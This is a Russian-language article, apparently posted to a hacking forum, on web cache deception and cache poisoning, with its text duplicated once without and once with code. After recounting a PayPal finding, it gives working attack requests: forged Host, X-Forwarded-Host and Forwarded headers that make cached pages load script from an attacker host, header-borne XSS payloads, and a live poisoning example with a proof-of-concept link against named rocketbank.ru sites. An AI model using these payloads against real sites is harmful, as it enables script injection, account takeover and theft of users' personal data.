Атака Web Cache Deception Attack (Отравление кэша веб-приложений)
В главе о защите от кражи личности я рассказывал о превентивных мерах, первая из которых - комплексная безопасность, включающая в себя не только защиту устройств, но и знания, навыки и привычки.
Одна из таких привычек - проверка всех получаемых ссылок на предмет фишинга, для предотвращения ситуаций, когда злоумышленник вынуждает вас попасть на поддельный сайт вместо оригинального. Самый простой способ - это предложить вам fasebook.com вместо facebook.com. Данную подмену без проблем обнаружит любая система защиты от фишинга или ваша внимательность.
Многие советуют обращать внимание на https сертификат, но я бы не переоценивал его значимость, на чёрном рынке за хорошие деньги можно получить на сайт для фишинга EV-сертификат, который браузеры выделяют зелёным цветом.
Пример выше - детский уровень фишинга, основанный на социальной инженерии, но фишинг не был бы так опасен, если бы в его арсенале не было бы куда более эффективных методов. Обычно они основаны на различных уязвимостях и работают до момента их обнаружения разработчиками или исследователями, но до этого момента они работают с невероятной эффективностью.
Одним из таких методов было использование unicode-символов, которые визуально похожи на латиницу, но для браузера, разумеется, это другие символы. В 2017 году исследователь Чжэн Сюдун зарегистрировал домен визуально неотличимый от apple.com, но на самом деле состоящий исключительно из unicode-символов. Данная атака была эффективна против пользователей браузеров Chrome, Firefox и Opera. На сегодняшний день проблема исправлена разработчиками браузеров.
Но есть атака значительно более эффективная описанной выше и до сих пор остающаяся невероятно опасной, это - web cache deception. Обнаружил ее в 2017 году Омер Гил - сотрудник израильской компании EY Hacktics Advanced Security Center.
Суть атаки очень проста: когда вы обращаетесь к сайту, и запрашиваете отсутствующий на нем контент, например, картинку или текстовый документ, сайт должен уведомить вас об отсуствии запрашиваемого контента 404-й ошибкой. Но иногда из-за некорректных настроек этого не происходит, в то же время сайт кэширует ваши данные.
Так как PayPal уже устранила проблему и не возражала против раскрытия данных о проблеме, Гил объясняет принцип работы атаки на примере PayPal. Если пользователь обращается к PayPal и запрашивает несуществующий на сервере файл, к примеру, https://www.paypal.com/myaccount/home/attack.css, то кеш будет создан для https://www.paypal.com/myaccount/home/. В данном случае кешированная страница также будет включать в себя информацию о пользователе: баланс его аккаунта, даты транзакций, email-адрес, последние четыре цифры банковской карты и так далее.
Лучше всего принцип атаки понятен на демонстрационном видео, где исследователь получает данные от своего аккаунта PayPal. На первом видео он показывает корректную ссылку на страницу настройки аккаунта PayPal. Затем переходит по ссылке на несуществующий файл, но сайт игнорирует часть ссылки и переводит его в настройки профиля PayPal.
Что же опасного в этом? То, что PayPal кэширует данные и повторный переход по этой ссылке злоумышленником позволял ему получить закэшированную страницу жертвы.
На втором видео исследователь сначала переходит по ссылке с web cache deception и кэширует данные своего аккаунта PayPal. Затем он запускает браузер в режиме инкогнито, и, имитируя действия злоумышленника, переходит по той же ссылке, получая информацию с закэшированной ранее страницы.
При этом исследователь отмечает, что для атак можно использовать не только файлы JS или CSS. Гил обнаружил, что для обмана кеша подходят более 40 расширений файлов: aif, aiff, au, avi, bin, bmp, cab, carb, cct, cdf, class, css, doc, dcr, dtd, gcf, gff, gif, grv, hdml, hqx, ico, ini, jpeg, jpg, js, mov, mp3, nc, pct, ppc, pws, swa, swf, txt, vbs, w32, wav, wbmp, wml, wmlc, wmls, wmlsc, xsd, zip.
«В случае двух других компаний я сумел полностью перехватить контроль над аккаунтом пользователя, так как кеш содержал секретный вопрос или ID сессии, — рассказал специалист журналистам издания Bleeping Computer. — Важно, что речь идет не об уязвимости в каком-то специфическом кеш-компоненте, технологии или веб-сервере. Это лишь вектор атак. Он может работать на .NET, PHP, Java. Он может работать на IIS, Apache и других веб-серверах. Также он может работать с различными кеш-компонентами, включая CDN, обратными прокси и балансировщиками нагрузки».
Компания PayPal за обнаруженную уязвимость выплатила исследователю $3000. Омер Гил проверил крупные сайты на уязвимость к данной атаке, на 10% проверенных сайтов удалось провести web cache deception.
Если в случае PayPal атакующий при помощи атаки web cache deception мог только получить персональные данные, то во многих других случаях с помощью атаки удавалось получить доступ к аккаунту. Атака web cache deception может быть использована и для деанонимизации, так как в некоторых случаях кэшируется IP-адрес жертвы даже ее паспортные данные. Невероятная опасность web cache deception обусловлена двумя факторами: первый - пользователь открывает подлинный сайт, никаких подделок или подмен, второй - ему достаточно просто открыть сайт, никаких дополнительных действий от него не требуется.
Существуют различные примеры конфигураций кэша и его тонкая настройка, однако, также существуют и уязвимые механизмы кэширования, о которых я расскажу. Это порождает такие атаки как обман кэширования (cache deception) и его отравление (cache poisoning)
Особенности некоторых веб-приложений
Многие сайты настроены таким образом, что вставляют на страницу текущий домен. То есть для этого достаточно, чтобы имелся подобный фрагмент конфига nginx:
И само веб-приложение использовало
При посещении страницы mysite/index.php на странице будет подобный код:
Однако, если отправить HTTP-запрос с своим заголовком Host
на страницу попадут уже такие данные:
Если мы изменим имя домена, то и изменятся пути подгрузки ресурсов или ссылки на страницы. Я думаю ты встречал подобные сайты, но ты понимаешь, что нельзя передать пользователю ссылку с своим заголовком Host.
Пара слов о кэшировании
Кэширование можно выделить на несколько режимов:
Кэширование файлов без параметров
Игнорирование параметров
Вернет кэш запроса
Кэширование каждого уникального URL-адреса
Каждой уникальной ссылке — свой кэш.
Именно поэтому часть ресурсов кэшируют первое обращение к странице, если до этого таких параметров не было.
Отравление кэша
Идея атаки в том, что мы подменяя заголовок Host дополнительно создаем уникальную ссылку, которая еще не присутствовала в веб-приложении
Если такая ссылка попадет в кэш (а в некоторых случаях так и происходит) — мы можем подгрузить js с ресурса, который мы контролируем!
Отдав ссылку
Или, например, так:
И еще немного трюков
Еще одним вариантом передачи заголовка может служить следующее обращение к ресурсу:
Если пользовательские данные, которые попадают на страницу, не позволяют выполнить атаку, можно попробовать изменить содержимое заголовка.
Для начала стоит попробовать сделать классическую HTML Injection, передав в качестве значения заголовка какой-нибудь XSS вектор.
Но часто может помочь другой трюк. Некоторые веб-сервера игнорируют содержимое заголовка Host после знака двоеточия, который может также попасть в содержимое страницы.
Поэтому первым делом попробуй отправить подобный запрос:
Если все таки такие символы фильтруются, можно попробовать добавить символ «@»:
В сформированной ссылке это позволяет отбросить часть данных — mysite уйдет как логин для basic auth, а конечным хостом станет evil
Еще одним трюком, если ничего не помогло, можно попробовать дописать свои данные через пробел:
В некоторых случаях заголовки X-Forwarded-Host и Forwarded могут переписать текущее значение Host. Заголовок можно просто дописать вместе легитимным заголовком:
Заголовок Forwarded выглядит немного по-другому, но суть та же:
Если кэширование настроено на определенные директории или форматы файлов, можно также попробовать эксплуатировать атаку создавая уникальную ссылку не параметрами к странице, а с помощью добавления расширения, таким как css или js. Или попытаться обратиться к директориям, в которых возможно, настроено агрессивное кэширование, например
Вывод — не весь кэш одинаково полезен. Помимо заголовка Host можно попробовать использовать и другие данные, которые попадают на страницу, например, такие как User-agent или Referer. Из-за особенностей работы веб-приложений можно отравить кэш, как следствие — выполнять атаки на клиентов. Пробуй
Примеры из wild-life. Уязвимости банков
Практически все сайты *.rocketbank.ru, основанные на readymag.rocketbank.ru, уязвимы к Web Cache Deception и XSS.
Пример запроса:
HTTP ответ:
Данный HTTP ответ попадает в кэш веб сервера и доступен без заголовка X-Forwarded-Host
PoC
Скрипт для автоматического заражения кэша запросом, с текущими HTTP заголовками.
Иногда необходимо несколько раз обновить зараженную страницу.
Автор: tabac,
специально для https://xss.pro
написано по материалам: cyberyozh, bo0om, omergil.blogspot.com
В главе о защите от кражи личности я рассказывал о превентивных мерах, первая из которых - комплексная безопасность, включающая в себя не только защиту устройств, но и знания, навыки и привычки.
Одна из таких привычек - проверка всех получаемых ссылок на предмет фишинга, для предотвращения ситуаций, когда злоумышленник вынуждает вас попасть на поддельный сайт вместо оригинального. Самый простой способ - это предложить вам fasebook.com вместо facebook.com. Данную подмену без проблем обнаружит любая система защиты от фишинга или ваша внимательность.
Многие советуют обращать внимание на https сертификат, но я бы не переоценивал его значимость, на чёрном рынке за хорошие деньги можно получить на сайт для фишинга EV-сертификат, который браузеры выделяют зелёным цветом.
Пример выше - детский уровень фишинга, основанный на социальной инженерии, но фишинг не был бы так опасен, если бы в его арсенале не было бы куда более эффективных методов. Обычно они основаны на различных уязвимостях и работают до момента их обнаружения разработчиками или исследователями, но до этого момента они работают с невероятной эффективностью.
Одним из таких методов было использование unicode-символов, которые визуально похожи на латиницу, но для браузера, разумеется, это другие символы. В 2017 году исследователь Чжэн Сюдун зарегистрировал домен визуально неотличимый от apple.com, но на самом деле состоящий исключительно из unicode-символов. Данная атака была эффективна против пользователей браузеров Chrome, Firefox и Opera. На сегодняшний день проблема исправлена разработчиками браузеров.
Но есть атака значительно более эффективная описанной выше и до сих пор остающаяся невероятно опасной, это - web cache deception. Обнаружил ее в 2017 году Омер Гил - сотрудник израильской компании EY Hacktics Advanced Security Center.
Суть атаки очень проста: когда вы обращаетесь к сайту, и запрашиваете отсутствующий на нем контент, например, картинку или текстовый документ, сайт должен уведомить вас об отсуствии запрашиваемого контента 404-й ошибкой. Но иногда из-за некорректных настроек этого не происходит, в то же время сайт кэширует ваши данные.
Так как PayPal уже устранила проблему и не возражала против раскрытия данных о проблеме, Гил объясняет принцип работы атаки на примере PayPal. Если пользователь обращается к PayPal и запрашивает несуществующий на сервере файл, к примеру, https://www.paypal.com/myaccount/home/attack.css, то кеш будет создан для https://www.paypal.com/myaccount/home/. В данном случае кешированная страница также будет включать в себя информацию о пользователе: баланс его аккаунта, даты транзакций, email-адрес, последние четыре цифры банковской карты и так далее.
Лучше всего принцип атаки понятен на демонстрационном видео, где исследователь получает данные от своего аккаунта PayPal. На первом видео он показывает корректную ссылку на страницу настройки аккаунта PayPal. Затем переходит по ссылке на несуществующий файл, но сайт игнорирует часть ссылки и переводит его в настройки профиля PayPal.
Что же опасного в этом? То, что PayPal кэширует данные и повторный переход по этой ссылке злоумышленником позволял ему получить закэшированную страницу жертвы.
На втором видео исследователь сначала переходит по ссылке с web cache deception и кэширует данные своего аккаунта PayPal. Затем он запускает браузер в режиме инкогнито, и, имитируя действия злоумышленника, переходит по той же ссылке, получая информацию с закэшированной ранее страницы.
При этом исследователь отмечает, что для атак можно использовать не только файлы JS или CSS. Гил обнаружил, что для обмана кеша подходят более 40 расширений файлов: aif, aiff, au, avi, bin, bmp, cab, carb, cct, cdf, class, css, doc, dcr, dtd, gcf, gff, gif, grv, hdml, hqx, ico, ini, jpeg, jpg, js, mov, mp3, nc, pct, ppc, pws, swa, swf, txt, vbs, w32, wav, wbmp, wml, wmlc, wmls, wmlsc, xsd, zip.
«В случае двух других компаний я сумел полностью перехватить контроль над аккаунтом пользователя, так как кеш содержал секретный вопрос или ID сессии, — рассказал специалист журналистам издания Bleeping Computer. — Важно, что речь идет не об уязвимости в каком-то специфическом кеш-компоненте, технологии или веб-сервере. Это лишь вектор атак. Он может работать на .NET, PHP, Java. Он может работать на IIS, Apache и других веб-серверах. Также он может работать с различными кеш-компонентами, включая CDN, обратными прокси и балансировщиками нагрузки».
Компания PayPal за обнаруженную уязвимость выплатила исследователю $3000. Омер Гил проверил крупные сайты на уязвимость к данной атаке, на 10% проверенных сайтов удалось провести web cache deception.
Если в случае PayPal атакующий при помощи атаки web cache deception мог только получить персональные данные, то во многих других случаях с помощью атаки удавалось получить доступ к аккаунту. Атака web cache deception может быть использована и для деанонимизации, так как в некоторых случаях кэшируется IP-адрес жертвы даже ее паспортные данные. Невероятная опасность web cache deception обусловлена двумя факторами: первый - пользователь открывает подлинный сайт, никаких подделок или подмен, второй - ему достаточно просто открыть сайт, никаких дополнительных действий от него не требуется.
Существуют различные примеры конфигураций кэша и его тонкая настройка, однако, также существуют и уязвимые механизмы кэширования, о которых я расскажу. Это порождает такие атаки как обман кэширования (cache deception) и его отравление (cache poisoning)
Особенности некоторых веб-приложений
Многие сайты настроены таким образом, что вставляют на страницу текущий домен. То есть для этого достаточно, чтобы имелся подобный фрагмент конфига nginx:
Код:
server {
listen 80;
server_name _; // принимать любой домен
...
}$_SERVER[‘HTTP_HOST’] или его аналог.При посещении страницы mysite/index.php на странице будет подобный код:
Код:
<script src='https://mysite/assets/js/jquery.js'></script>
Код:
GET /index.php HTTP/1.1
Host: evil
Код:
<script src='https://evil/assets/js/jquery.js'></script>Пара слов о кэшировании
Кэширование можно выделить на несколько режимов:
Кэширование файлов без параметров
https://mysite/pic.jpg — попадет в кэшhttps://mysite/pic.jpg?myparam=test — в кэш не попадает, как и другие страницы с параметрами в ссылке.Игнорирование параметров
https://mysite/pic.jpg?myparam=testhttps://mysite/pic.jpg?myparam=test&myparam2=test2Вернет кэш запроса
https://mysite/pic.jpgКэширование каждого уникального URL-адреса
https://mysite/pic.jpg?myparam=testhttps://mysite/pic.jpg?myparam2=test2Каждой уникальной ссылке — свой кэш.
Именно поэтому часть ресурсов кэшируют первое обращение к странице, если до этого таких параметров не было.
Отравление кэша
Идея атаки в том, что мы подменяя заголовок Host дополнительно создаем уникальную ссылку, которая еще не присутствовала в веб-приложении
Код:
GET /?MyUniqParam=test1337 HTTP/1.1
Host: evil.comОтдав ссылку
https://mysite/?MyUniqParam=test1337 жертве мы автоматически получаем возможность выполнить XSS атаку, так как на странице уже заранее сохранен наш домен
Код:
<script src='https://evil.com/assets/js/jquery.js'></script>Или, например, так:
И еще немного трюков
Еще одним вариантом передачи заголовка может служить следующее обращение к ресурсу:
Код:
GET https://evil/?myparam=test
Host: mysiteЕсли пользовательские данные, которые попадают на страницу, не позволяют выполнить атаку, можно попробовать изменить содержимое заголовка.
Для начала стоит попробовать сделать классическую HTML Injection, передав в качестве значения заголовка какой-нибудь XSS вектор.
Но часто может помочь другой трюк. Некоторые веб-сервера игнорируют содержимое заголовка Host после знака двоеточия, который может также попасть в содержимое страницы.
Поэтому первым делом попробуй отправить подобный запрос:
Код:
Host: mysite:"><xss>
Код:
Host: mysite:@evilЕще одним трюком, если ничего не помогло, можно попробовать дописать свои данные через пробел:
Код:
Host: mysite "><xss>
Код:
GET /?myparam=test HTTP/1.1
Host: mysite
X-Forwarded-Host: evil
Код:
GET /?myparam=test HTTP/1.1
Host: mysite
Forwarded: host=evil/static/, /js/, /upload/.Вывод — не весь кэш одинаково полезен. Помимо заголовка Host можно попробовать использовать и другие данные, которые попадают на страницу, например, такие как User-agent или Referer. Из-за особенностей работы веб-приложений можно отравить кэш, как следствие — выполнять атаки на клиентов. Пробуй
Примеры из wild-life. Уязвимости банков
Практически все сайты *.rocketbank.ru, основанные на readymag.rocketbank.ru, уязвимы к Web Cache Deception и XSS.
Пример запроса:
JavaScript:
GET /?xx HTTP/1.1
Host: wknd.rocketbank.ru
X-Forwarded-Host: cacheattack'"><script>alert(document.domain)</script>
JavaScript:
<link rel="next" href="http://cacheattack'"><script>alert(document.domain)</script>/friends/">
<link rel="canonical" href="http://cacheattack'"><script>alert(document.domain)</script>/">
<meta content="203852619785949" property="fb:app_id" >
<meta content="website" property="og:type" >
<meta content="http://cacheattack'"><script>alert(document.domain)</script>/" property="og:url" >Данный HTTP ответ попадает в кэш веб сервера и доступен без заголовка X-Forwarded-Host
PoC
Скрипт для автоматического заражения кэша запросом, с текущими HTTP заголовками.
Иногда необходимо несколько раз обновить зараженную страницу.
Код:
https://blackfan.ru/bugbounty/webcachedeception.php?url=https://wknd.rocketbank.ru/?cacheattack4&payload=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E```Автор: tabac,
специально для https://xss.pro
написано по материалам: cyberyozh, bo0om, omergil.blogspot.com